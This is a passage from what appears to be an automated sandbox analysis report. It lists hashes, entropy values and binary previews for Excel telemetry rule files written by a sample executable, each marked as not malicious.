SHA1:	8B5D5FE58D9B6BD2D4F4C8350E6048503C61259D
SHA-256:	F4F7260DE42F1555754568AFE6FFD0BB15F743E5C308D7FF7C8098AEECB81097
SHA-512:	E77FF92F5AF425F40A6E0E351615FB5C7918EEE2EF6F2B1B1F10D34D877706D229697BB7D8DD399D97D793187E04690DD01122354C996064555F38B8825B5AB5
Malicious:	false
Preview:	<?xml.Y..UA.v...\..S.$.rBk.v..?k...].b'...z....#...p .3...Y..._...~...-.....e..K..>......Pp%.KD.&.....(.,.AS0....d..~.b.C......HC..>G/W..j.o.e...>.znG}.........3k.Q...!n..P....:f.........e.~,.t....%&.T(.=..#..._TC...X.......'....0.. ...A..,^&.m...d.....t.J........l+.eY.....=..n...mG..(...d...jd>...x.. c/T..UZ...,t..).....5...R}\.....6{....+z...\|<"...ws!5;.9.cH.^B.....1..m..\|.,w\|.....$....d!`..m...4.:..!..Z.r.....:G.I.......9..p/F... )6...../u...a>....;..x.)..9.+..VP.^>..+....(...< ....H.y...V.N9>X..l.K"..\...t...._...mX#....#.-.....B\|m...H.4..j..j.!mY........}y.,.@C}...ae.7..Lfx.h.....bcj...../..I.?_.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.723625587186995
Encrypted:	false
SSDEEP:	12:EsYy/f/1Sb4TF5z+ADxLFvV2nVpyyRSuQkk6BwKx4SeB52vb9M2cii9a:2tbWz+ADBanPmkkN24BI9pbD
MD5:	D7F7166A8DDE99E90924A888CA97A098
SHA1:	C2A2DB4893A9C0719537EB20891A786E03E0F99E
SHA-256:	93D3EF0ACB119E4EEC7F24C95057555C83F67F396FEA9424B4D49427F9DA1919
SHA-512:	79E96DD6D39432DC160CFA0EC2D55D3B0281FC4B85B8E58FD2E76E0CBB98768C5A58EA106C08A594B9F00ADE18E6C346BBFFCD303A86193FBA03584DC2997F1D
Malicious:	false
Preview:	<?xml...6.......m...>..w....J.uu..cP...w"...].....b..I.nH.=..W.....n.T.%..nV.Ye..1H...k..]+..51$.A..G......H..\|7.e%..x...@.<.._....nQ^.d..C.L.......(.H.k.....v..W.....].+W.qAL4,..]...r.F.5M..../I.@).7...u..j..e..N.din.....L.A,$..../H...-..y.I...r....o.[.....0 0..[..................r....d(..1.fV.7\|.w..d.`Z.:..uI.;....).8.....{...#.'H96.e..H....b.gi....xI.Z....T..~U...'X..'.$..aM..6Ac...$I~.D*...i;B.4....m....W.I..-..#F..Rjdlf....t.J@z.......$........;p..3.:.+.6.........g.V...B._.\.[.R...J..........8.f.....P../....o.....x7......#.^U=!8.....r.}.;f"W1.Y$..%$.(/..I.IV..Z..y...........s..0-.0S.(S.1...d{..j..R.iN.J.q.......D.....QT..u.;...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.775561755249976
Encrypted:	false
SSDEEP:	24:XLXIXfw/5cFG7NXcUeisSze/BIbGJsx9pbD:XL4XI5tdJZznbLbJD
MD5:	6AA503EC83D28F1A1DB38ACC4C4AB375
SHA1:	1467CE6B3D44164DD46E60B2FA31C08554507D72
SHA-256:	3E1E14C797677831A93CD40ADD140BED70524AC5324547A5CC133A414265BFED
SHA-512:	23E6EB3FD8693E749AA7FB2E1574283BF66150006A827805326573B8E8F03C10E49E715CC48F44774C5C0BDA4ABA9B1C2F2CC2999B7AF849C33CA08D1EBD02D0
Malicious:	false
Preview:	<?xmla..7....(.}.....4.f..............n.. .2...e.b.....^.....m......o8.h.Z]..~g..w..c.~..hP.y.2O$..o^../....JD.........L.n.t.U.G.....Z.m....._.VhFS.....?......~v.y.....n.8m(Jxb.......F..=1w.mc.-{..ja.....6..I;..$.....AC.g(d....X.b..ZjF.r..N.....\kc...g.;......l.r....;=...5.].^....J .'u.Z8....v.Kx...R..#...A........2....@.g+.....x..@...m........qAfTx....d`c.V.......hf..+..g..r...g....3o.3v"FI.u.O.yP.-C?.>.....q%F.U....p.br...Z..h..`'..5...%O9>.t.....E.mG.....R....@.[.~.i.V:......T..R<.(..)]8...O...^..Sf.........[P.....a.....!..NkX.,Kj).o............B...`..s'.F...Q.....~V.]..A.r.h..`.'Sh...5.Yf..R.'/.A.+zU...Y...yy....p.Z.........H..L..m..0.W....O......+QI.e....u....Vn.......X...'.:...<U1+B.,v.6..%.-....6...i(e...W...1...(..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.721525086384831
Encrypted:	false
SSDEEP:	24:eSdm6fTSa6coWk/gG43GKyFCajf8THfY9p9pbD:eSdNTSxlWko1uEkSfYdJD
MD5:	0E189F074639C6BE6FA123F8CD36F980
SHA1:	A02A040DF83D56FA1884776050F5E3D08775EB01
SHA-256:	E1FC6D4DC19116F408446A5DBDA0D6B2CB71B553FACAC2253BEF7E2DB8AB9482
SHA-512:	40F0AB5ED1DE5540E522241DD425157E44465628D084E22C8229551D9FDF0D4E10B94C5047368C878FC04F1034A013C72F6A6E25764711B9301A519DD75025FE
Malicious:	false
Preview:	<?xml.Zb>.r8.U.\t..F.G..3\|...@N.M.\%T...t...xq.#..=..,q..)v.."..Mi.-~......5...L6J&5.?.(.\...-..#e..:.o..R.m..y..n...V.B.(h.g.sy.m....G.0...K..e.F[X.U\|" .:...3............y...].....:...2.u.$V......8.J+<U.(.~..3W.S.......,F... .@.}...:.....M%...X.V.x[B.G.....5..w..P. .4.xa...;.J.........+ .j.......5.%`[....3LX._.-..J&..j...$v/.CJ..vj......d.~.....y.d....W.i..ufS.4.fq...e.W....&..z...b......mb.....4.p...W.....s.G{....%R0.....4..E..7...F...RD.I.z.DH2_m.)...8....U....$1I7..Y...I...aK..9..N...;..l...~....0.4.....B R.._.. ^.2t.43....1.8..F..X..9....F{.M...GB.a...V.f.#3...."...^S_JF.I..*.2....H!w7...l...D.p.T..e....$jy...e............0.U.i`$..a.&.G..c]...j^.Tv2?.......\|..Em2-..&S....B.........W.^at.5...7i..~.M....c..^\..%.`..~..B...r....-q.&e!........d]&o.K.e...gxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.77601870123496
Encrypted:	false
SSDEEP:	24:61hByymwlCw8OleHxuso+5EET7V8S/WING4PUH9pbD:UNNlW3ovETqS+INxQJD
MD5:	CDC0D1A93165F2A66CF47831DDEF4F33
SHA1:	17248F4C656BB51FD03E13714F9DAD6AE275F47D
SHA-256:	E282C0DAB419A712E2E15A27726525FD1C06C4A36460D2203EE5FCE7D26D46B9
SHA-512:	24E698965B4F7EA7E6E516DC95F770D600725028D2E15EFF44454B59BCB648C1A3A5C9AF6F0D8782848981356EB8431F1BCD0E214F00B9FCAA3A1E4549E1302F
Malicious:	false
Preview:	<?xmldC5'...q.t.w8...IU..F....M\......uI.U!.CO...y..,W!H..\...g...v..0\..8E......#......vf}.J.F...\|A...k..>.<R.+!T...-BC_.K.].ipD.i".DEor..~...=.5.~7<.K.;..] \....+9.e.H.....>8.....(.YX....7.!.a...(..-a.Ki.,qsf...%.H...R.E.%\|YU..1....=..j..'2..D.....x.}.($.....@:...o.......B..d..........PwD.E......._..k..1^!CL.3"..F6.".3)..W...E.?.1..l.V.I....}..g......3FJ...\|...W..#[5.D.F...).!R1./.....z7.3..XW.hq.=..r.MA....v0-e..W..nQ.n(]...K.`rB..2~..m......5n.@_....6K...:.3s.`{..L.4Z..W.Tt...$.......A.Zg=....W.s.?{.s....Z(jJl....h..Dn..m..@b.l$..@.$r..F...Q...>n.v.............q..(...x..)...i......o.N!.J.t.+.*.,~O......X.q...-...F..NK.+.g[.B.2...)...A...8\|........{..n..~w.I^DC..U.2_p.:..C..y?psA...^;.8.t..\.z..f.^...3.`..Y'5.XE#.=Xo..(E...U"...O..........c..{4.O.o...s....z.{.M..?..b.....m.L...n..........D..0Y_.t$..4.6..[.R:.;.G...".0....&..A....3....I.X.] .%z...\..pc+..o.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.65884246067301
Encrypted:	false
SSDEEP:	12:ImmUH/eteoFPRl/p0p3wfww5GiA7Wu/TEAmAJVgnpNUGIYmyNMQg6wwIjM9M2ciD:WmqrDS1mW0pNwYmyNMQgcmM9pbD
MD5:	645D18B940E420B84BE34F7290F52EA3
SHA1:	13F50C59AB2EC89E7AFCB923019F7C5A55F07D65
SHA-256:	42FFDCCAEA1B773AE7C1B3565827D67B0F5EB7CDF8AD2904677C134178B709FC
SHA-512:	009C322E3D051A7715D4BDD25A4B7F3740D2ED27F8C81D9B8DBF9BABEFF369B32F71A803A50C8D69CD6E70681C4A4A0F0220C99C19D2DC45FA3CBD0AF5281A32
Malicious:	false
Preview:	<?xml<.......7n...1.Md..a.i....K?..Q{....O=..P$7E.....K.+.m.&9A..x...d!.....b.7..6..1.g<.L[...4.......k^.-j~.....&:.<..ox.{.;r.G..0.....7&...D...wE;..l.Z6~........TI..Q....?.(.J.r.KI+&W..1.......bR.x.W.3.;...V....i.aQ.HN.L.M... ......@4....F ........I........~....oa.t.M....[a..r.........{.!E.I...#.}...E>'.N..*.R."q...(..=..e^...M..dZk...b.bi....(q..X..n.h3...c9.$.t.....zQQ)..p.9,.S7.<..h6....$J..(.....$.e..m..0g0]..a...3c....f~.w.~$.A ...7..'.6L.....;..O.Z[..AG..p..3;...FX....F..SXF#t....u.'f0.v....g.L..Of1....>T.0.L.....r.....i7.xn.y.\|-.T..p....G..(.O...R$..h\..:.5........wk..)b\|iG.2.......r.5....d...fxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.751871232554647
Encrypted:	false
SSDEEP:	12:WWOgJZfZklG4Mp7MJSUth28AB05hgZxuOzVBG7zxSaLb2XmfTd/IHm8vCepOBUpV:WUZhO1JSk88Ncx0P4ARItp1ZEPs9pbD
MD5:	94AEF65954C9B179B87515738BE68BF9
SHA1:	E563F6B1F82843FE58ACF3DEF49BF11A89C79888
SHA-256:	8D547AD582FFF6043012C7BCF1FF374FF316C81219CD5BCC8CE33300131F85DD
SHA-512:	0721EB63E542BACB6ABADF9670D62A992FAAE9225BCA1774127B9ED7698E8EF64697176448FDD453984B770E7BF69F7837F462B48DBF60DCFDF42F3CEDD8F99F
Malicious:	false
Preview:	<?xmlp2.x..R..Xp...$...p{.<.rIT?X$'........./..QU...Db..f'......j^.f.....W1.iJ...b...P...s5,.k..u^m..y.....K....U...o.%....T.>.)...Ib.5A ..[j...}..".e......g..?]@.8=:.)o.....ahQ....... .n.-....I.G...R'S..(......E@u..o.YI.m.1./..W.(.. .%......O#.,]....P<.........@.)q...%t.....5CA.....4!.L....a.PC..Wv...6...1...R.%..~.B.dO.......=W.aoE.M....D....}a ..Cz..w.C.%y.Y...<..J...Z..hK./.^y..b<..B.K.E.f.@(...4j2C4..-h.:Jd..V.w.{?]....L..F..$5:...i..V.h..... ..$]m-H.c.....fxh:.+..[^n..../=U.........?...<.......;k.l....o93.v.j...\...."..q..G.x.%F(..t..5...>Xx..Lm%...nR...i..9l.. X.q....Le..Ac.......}`.8.}.I..m..Ja..S.[a..Ug.{.k.v[.'..;.t.q.:"z.....{TWi..?.%E..d.R...(...Lv8..L...xW.nej.t..M...u..c....zB...H.\18....$...".XQ..X..... ..{<?.IjX....,m.`O.8..w..\gz*.....d...tE.p...]s..r......?....V..]{.T...y....SxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.755307573525646
Encrypted:	false
SSDEEP:	24:ithcfX4yHk1+xo3jRiXSpmzfpvs6N5ieQhGbC9pbD:itixKtzRiCpmj7ieE8EJD
MD5:	7649B3C9D403365714BF50050E337F17
SHA1:	C152C5DD6870C28B9C991544F75B0ED5906D5C70
SHA-256:	BF48FDC1235946ED566E0165ABB63CFB8E6F214D0AAB65B1E1B270DC1B06435C
SHA-512:	F03B6577115D6AE6E558128A9734757C9F175666705650ECEC0FFCFDF30B5924454D73E5EA9247B5444C777FFDC729298574306DEFAF9320FFD0A5EBFF9864E8
Malicious:	false
Preview:	<?xmlb..1....R..H...jI....td.M.^.z.....M....EA.]......C.NNw...;N....x..60.......@fW....3x...,.:D..b...yq....{gZ.b?h...F.....s6...1"....MT...4.R..j7..T..........<..K...S.B.z.w.93q..x... ....RH....^...%.7\|..+.2G_.m&.H...C...k:.0.....x.._h..u.$.'KHk......I!9.T.~P..;..9(..f.(Y5.Q-.....DrWE......2..t...:BB..v..h.....U...l..z..W..0 t.;:....20f......,...{Q.ev.k...`w.O.{XWfN.0..{.K4.X.s .'Yf.c..../^$.~..q.`.I.Q..?..&..t.m.(...`b..v$..5.3OS.?qU......Pef~.Ny..B/..Ed....3...:....k.~X..L@cM,:H>v.7!.j...z...]5..b.),/..C.s....t...'z...x...,C....nV0..}.l,..h.(.L~..+TO~.T;...I.l...C....._.t.0...1=.....:....,p...O_...!.]W.."....c..#.Je.n.Y.i.p....%.q....f........^..x..h......v...SSZ.6....Z...I...i......$..G..'`.-.H.H.!..U`...o..i_.CE.z..Cn..x.4grz..=&.....,..8J.:...?.p ...y3...83.././..K*.g..#f.,xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.818779770223424
Encrypted:	false
SSDEEP:	24:9r6bPqHuAdwpyzQbCf24LF5xALpK4YL9bS5TaLx82V23GGbuV9pbD:V6beu/yzQWf2ObxGI7hoTv2VyGGgJD
MD5:	77BE986471CF0AFCB49189394E4C5DE9
SHA1:	5949C4B8DAB64E3C3C4FCB29517171F0ED4955B9
SHA-256:	09C2B3CC9C101ABBCA95027F1D9C4AEC2A7E93E8E8B9E1902F029366D535B9D0
SHA-512:	5826EC1EF617FEA47FA6D55EED158EC1041772635410B5240DED3B7A77421B0D35F89179E41F1910B223349C56A4DE698883455B24F63B4E69E6B1A4EB9DBA37
Malicious:	false
Preview:	<?xml\|...D(a"..BW.A..\|-~v4`..o'7)..;e.W..B....)..... .L..=.....y....7P...&..GC.....BJW...\|.......X...Tr.DM.^H...'.)...t..B...<..5n)OA4.4.wJ.#............#aS...!..Z.:.Y...Y8.f...^zD(.G^.v.4x. ...B.7....Z].,.[...S...B..0.V(2+..T..7.D....4....u...2kW.g....6....F8..t...2%......F.N#..1.G...%se.A.%b..2..&....`&.Z.E.k....,t........[L.Z1....1.O....{.......E?...4.4.m+1,1.i. .P."..9..C........;5.x.^bC...x.........?..L..7..=d...2.R.J....kQ..cS4.wV;K(O.bc.....&rSA....~'.(..n~..0sR.?vP@..CN..}......5.....L 9q.a...t....1..Rsxn..UM/.o...`...n;.u."%Q.j.?.....rJ.....R...{T.u.3..!..i.%90i&..4"...n0=H..R A?.......EO3..V...F<L......4..7......].~.B..`.wJb\|......."_TI.S....T.0nM.p....It+.sp.c...3.l."e.!...~.....G..'..;...3.H..6l)U.wO.9.S-~.C......0l....V..i...i.WS);.e.....4.+........,....A..W...y....=.,."W&..E=<.B.1.........0f.\`..c..I@...o\|.+h$..1i.......ov...;._..e...tY.[;4G24-.L.....dr..~.BKq...cp...&m?.....'...}.G..-.$}.\|[QKFr..Vo..Z.J.{..B..N...yX....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.644221427356822
Encrypted:	false
SSDEEP:	12:/GKbIlxapZlT915Bq5sWfhmA73caCbGTwCvC51fdkab4D8zo3vds2GfPD9M2ciik:ROaVJBzbgwuC51f2abmlsN9pbD
MD5:	FC150F9CFE4D6BF29BF5BB278299259B
SHA1:	FB4C3EE68EE6B95122B0A6081C26894D83E17BE3
SHA-256:	BB9254D269F769C16309948A96242B2CA7AA0F21023C6B33DCBFDA3C6DD893B0
SHA-512:	98F02B5337EC2A7370381095999EA827FBBD483A039B8DA67D2A04DCB4CAEDDF12AE506751C0245278AC9F98A94D74F7509F1963E4D9DD6A72B3D012EBA87842
Malicious:	false
Preview:	<?xml.__....>."y.`n{k.....hB.-.v./c.i`...dv.~1...1.YX.Q.q.b...tS.?4.&a.~..y.z......%..i.(B...J...S.mZ..!.....k...co#....NF4\|(.F.V...N...-3........>o.\..ia...G....j%......m...:(......X.$H..Yo..{...F.R1'I..!.z.R...J....1c..E!j.q..B......k..\B..@-........e..c.S}!....1......P..(....!..GgX.U...?.~..cj.Z...).MA.(..@R5q..(A\|......9..wc ........q..m..eGo....G.0..: .....(.P......&".....Jw...q....I+K.....4..(. ..d.%.u.....\..WH....pa..Is.:xj..4...A.:W..?.Y{6QO....J.Em..Y.%.^.....X.".0..P....zs#>...m.4.......'a9S.>..g...G........H..r7B/....Iz.sP(.B&.........X1..z:t[iE......J.J.%....U=/.%...i.c.T.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.712786275434798
Encrypted:	false
SSDEEP:	12:Xt1Ijd/9VedcuuBZKJ/vR4vH9kwPoAtB3W/OrP5Zdun0rai5ApVPm2ksLPWGf39h:8jdCcugKJB+d1ddBZ7raiK/PmBsLPWG/
MD5:	9136972B604AF07D0B1A2B534A7F4D69
SHA1:	DA448F595C9DC713F4A61A92C63E4F77649BF53E
SHA-256:	53FF935AF45CD1B558A2E36D219E55188C831D3FB779D3A97A340D2B8B5E170D
SHA-512:	620FF01CB5E2755369A608F4E1BEA380F8A77AC3C1950076E3793C73D634F518DE50312596F84123F30106A031047355ACFB1453FB1A396F446F2823A341F05C
Malicious:	false
Preview:	<?xmlo....I.]`g;.. .CC.[...+..De....3......c.{..A...A0.I..jJ/bX....".D..}.#.B......ZB.....GUB...>=....7.90.. ......B@"m.......E..8.....$$.n....t>A...v<D}..N..b.M.k.<..y..T.....C...)..a^_.$..=.........n....h}wd^\.p...P.%..jwEK...m..<._..qQ-.....^3.-d......f.......LD..^......Kk.,..C..3.OP......;......>......m.b...3c.\|._..#AN.G...n.c..X..J.......<....k.DH.S8H .d.....\.... /AA...S....j\|..I.2...\|.!%.G....("..z.Q0....."......9 ....,.JF...<...:...X,Or.~.?.o...L.e..].P.?A9.\...OM.:.... .p.6b.2.....75...r.Q..2by..e...H. E...?..........M..lS#.....L...$N......C.<n..-.+...o.I.:..zX{...........T...S.4..';n..x..[".`8xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.70113681832068
Encrypted:	false
SSDEEP:	12:t1vu/Y+Y9mjD1SDUIiBOflRG3BV6NwX1xJVwC5xfHumnrZa2mBlqaGmoMDEkj0gO:Hm/BkgkRuVp7u+5mBHoMzs0fq9pbD
MD5:	6988CAFA282286BD436D579D50F1D7C9
SHA1:	449A41E0398F54670B41778031FEABEF09798096
SHA-256:	BA9D0A4FAC9ABABD3D2917A09C3AD01879A31CC801E34EC72309B784DAA0B0BE
SHA-512:	96558FCE3710BC7648D805B58E1CD1F7472C0592876E02B39CB0C23F0E1D380DFD9764569139A6E66C0FD182DB5B45A44ABA108B0B94B69D2D956671B56560D9
Malicious:	false
Preview:	<?xml....rRi.RP...?...#m(\|.8..[z...4....P..n`.N.p#...x.3.uT.i.%..jl.@...!'.....!..O;T.F..{........2...rANp^.,J.......m..S].L.sbOj_]........c....C....TA...Q3......By4,..H.URm..B.-O_..E..O'm....G...W<C.&.....3....4...Q..b."..v(..l7#.e.-.0K.()_/#...5......c.kc...A.$...`Y.}..=(..y..&v....Y.x.W.......C..z...I.5.VW$Eo....K.........Fis..z.cx.w....a.}..@f...:.D.a.%&2[......]...........\69.pJ#.N.b.......$......hL....2H.x.+...v.<.V.\|.".'.X.h.u..s.....8.i.K.p......1..y.x.Z+y..:.....JE.....\..g..p.M.K...&.%._<,..E..NJ........E.3.,.C..&.8.J.....zH.h/.z........1X..)......g......J....a....5yl...dP...._.V..B&q.Kl........5..<..T_...OYm..>.{.tg...).[......Bn.z...BQj`r..../p.,.gDd......._..!.P.7..0.[tz[@0f..)X..n..9xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.688925989132865
Encrypted:	false
SSDEEP:	12:ue3MEuQT+zoBdeiRZVGMfR4euREzBI6/I/oOINieYSFeNLU3gRpItVmViHBOMeWz:8Ena4deiNGMeewWBI0IgOOieIZvzItV5
MD5:	F907CCFA5EC9911A075E705A7F686EA7
SHA1:	89A698D496813AF7B39D1ED12BB4E7A37F15502F
SHA-256:	843586A2E2FAF756CE21BC45F4847E56E7C035723AA87CD97DB6A1919E784F65
SHA-512:	D3E14132F3B7732C58D3014ACECB6139EBBD5CBE6104BF1833697CE80C893BCE6DDCA10BFDC4E29105CA4D981B4636B603FAB06BBB314698A5BA1B549BE85B07
Malicious:	false
Preview:	<?xml..4..w.1yf..........aR...[O.R..;4d..#...Mb.#\|t...`.w..0.l.x.{. g..+ .X.i$...W7_J!1.7}.[.....F.x.:hon.>..v.!...#.5e.f.{.NC.........a.42a..j_.....F.:....K.....D.(.s.9...<....1f..Z.-..Ku..Si;.p...a...a..{ea..8.D.F.K./.:.........1.....#..={)"'..y. .,.+#...P>....P....0W.H....`....8.W.".,..-V.{..7@...<...5.W.....4..m.Q\|./b>..,..0....tFR..m...&8....[e>?..w@[._..W.l.C9..8..C..&K.5...cZ...........c.G....+@e.Ju.[H.a%...b....U&Pnx...I...t...R..[B.[.5..FO.4W..y....D...../Vk.X.8.."Jo7.MW..&..G!.)%J..Y. ..H.i.0..,]....ko8.M....yN..............^."..D..F.EOAm.?...3..s@E....7...c?z-..R..f.+\...=vc[,..G..z^xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.730470817906435
Encrypted:	false
SSDEEP:	24:b9c6N1XWMl/w7UyNOpDBY3ToijmsYlffFPfSi2RfytM9pbD:hc63XRl472coijms6Vx2o8JD
MD5:	577519A9AB6BD03AB69146099EF73DAD
SHA1:	B567EF9124E7F7C42D14AE1CBD097556CB7AE27E
SHA-256:	96545993F6B7C231A777F6ECC41EF9BFC7AEC34D0ED072E31C03D08C5105F8D4
SHA-512:	7A2B4CD168DE813A5A0D36E983E6D8F1859CBB9423A728537933B85DAB54ED2B6E06527C67B2EAEDE6A281CE09B71C82976836242303F8701B70EFDA8E78B3FA
Malicious:	false
Preview:	<?xml..W.R...m.........L.>......\E.....Hk..X...r..j.h.v\|..bF(V...l3.X..,y.....D.q[.A.6.Y..-.....p.b".+`.qR.&3..%...Y8qb.BA.uM.cOn.B?..R.X.'......D;^+......6........qY9f.%.;.Z.Qi......Q..sr.t.~..Z.H..lO"\R.P........Y...+".B..m.q....U..J..W.`;.:.6.,.....j.KR..4...X.2...wL....t.-.?..^ '.(R^.J.........@..Q.D7z.+1.....4..5..m.pf.....$...f.C"...c../.....PX$6KB^./.$-......~....Xe....}.Wu.o..R...Y..tV}}H...)......S......%...~..7...k:.?:.....xs..c#Z..n.`.-,...q.l.p..s.q.b......$.8.a8....G.....9.......o..!...Q.lF5.^;MZ5g1..k...MN..??.\|..3.U..;F.DV.......GJpco.T..g_.=..a.^pL..=.vM..!.i....v4..k.....d..^.&R^.2.Q...U..0/...O..X.....+.y]n0D.y..8.VgV/......._@CDT....3}.....f.JL.4.A@Y.V.r+!\.=.w.r.p.3..%m1....?.8&L..4.}97BS.&.gf..m.OU..kQ.!+.@,....Z...\|.2L.*f.........xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.682556887878782
Encrypted:	false
SSDEEP:	12:sboCJowcwNyWb9ktd/KHQT+oN8MWRq5ljKO4axMDTHrVu/QIlw3UpT848Rs9M2cq:cBcwh9C/KHQjL1ljK6MDbRSwS848W9pX
MD5:	781DC95E93B5F2B169A63C37DDDC49D1
SHA1:	60FC4BE077FE6530E95A1B40611AC4CC45BCD698
SHA-256:	73C9439E94951FC4216D7F48FF93B124D1DABE79BC7100678AD3ADC7EC21E518
SHA-512:	2BEA9A8ACEDE962C891BA7C38F867B62D9AF3A4C9435A79D503A11CD0B278F8B714049C482769BF7FF3B5B0F086F046F7AD8E6FE5030FFAE93F16B30380060B7
Malicious:	false
Preview:	<?xml...-M.D..>..>k Q..;..rU}.{l..3}.c.>....G1F.....O.h..[....2.zH.L:p..2.s..v.'..4.d..g......t)*.&..Ii..{.{L}..t"ak........q}f(...D+.B..q3..{....c.S.N+...)6.B.. Bf.{..........t~.+..q.......N.......wq.5...y.!.....m....i...Z....\|..69.2..t...!_.....s....y.&:..{.!.......T..P.E....F.<y..c..e..U.k%...5z'.Gx.G)$.....+..t.V.nG.;..<^FxN\+....rh........7...)...f......_`.C..;..n.IG...3..t.@;.x..O.N-..2.!\.oP[k.H.....;Ol#X....W..P..J..X..P.,.vE.f...Yi..!.Da.O..K.{5zY)..#+4..._.j..O2.gi`.8..O4......:...@8..%.....u.n35z.......>1k......p......l4R......).BZ.r.M'vD...O..C..........^k...........\h.{../!V!.<5...E...w.<:.6.Ep7..O.X..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.876860990645452
Encrypted:	false
SSDEEP:	24:RkhszhFxMXnpBs8Njg4kBxfzFd3mlUW7w5DrfAFc4zsEG47BsMxtSU9pbD:Rk0r2NjxknpgkvAXs26swqJD
MD5:	184E11A3C9219EBC0EF851D4DD9BCA44
SHA1:	753EAE25FF95C30130AF608C7F5DAF6A3A48AD92
SHA-256:	F221C4BEE42514256FAFA0D0BB6CACA15EDF78DA62DAB8FEDC2B3489981D372C
SHA-512:	B763B674A583D434D02D7693048D464A8AFEF92C2AECEEE1C49AE8F7D4F1E408395A47F5E01A215DDED0D8B8FC5D7D6FF5743DC6E274FE72B05F540946A7530B
Malicious:	false
